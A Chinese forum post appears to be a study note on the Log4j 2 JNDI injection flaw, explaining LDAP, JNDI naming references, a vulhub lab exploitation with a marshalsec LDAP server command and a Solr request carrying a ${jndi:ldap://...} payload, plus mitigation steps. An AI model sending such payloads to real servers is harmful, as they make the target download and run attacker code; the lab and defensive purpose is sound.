ToB企服应用市场:ToB评测及商务社交产业平台
标题:
log4j JNDI注入漏洞
[打印本页]
作者:
伤心客
时间:
2023-4-28 22:21
标题:
log4j JNDI注入漏洞
log4j JNDI注入漏洞
目录
log4j JNDI注入漏洞
一、LDAP介绍
二、JDBC介绍
三、JNDI介绍
四、JNDI命名引用
五、log4j JNDI注入漏洞
一、LDAP介绍
LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。
二、JDBC介绍
JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。
三、JNDI介绍
JNDI是一种规范,JNDI的全称是Java Naming and Directory Interface,Java 命名与目录接口。可以根据名字找到对应资源。
JNDI可以访问的服务:
LDAP目录服务、RMI远程方法调用、DNS、文件系统等。
四、JNDI命名引用
1、在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。
比如:远程HTTP服务的一个.class文件。
2、如果JNDI客户端,在LDAP服务中找不到对应的资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地。
3、如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。
五、log4j JNDI注入漏洞
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
个人理解:(不一定正确)
log4j JNDI注入漏洞主要是因为log4j在日志记录的方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。
漏洞利用:
1、kali中开启vulhub中log4j的靶机
2、开启获取资源的http服务器
3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)
4、开启RMI/LDAP服务(本机的9999端口)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999
复制代码
5、bp发送payload
http://192.168.142.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.142.1:9999/test}
复制代码
修复思路:
1、禁止用户请求参数出现攻击关键字
2、禁止lookup下载远程文件(命名引用)
3、禁止log4j的应用连接外网
4、禁止log4j使用lookup
5、从log4j jar包中删除lookup(适合2.10以下版本)
修复方案:
1、将log4j框架升级到2.17.1版本
2、使用安全产品防护
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4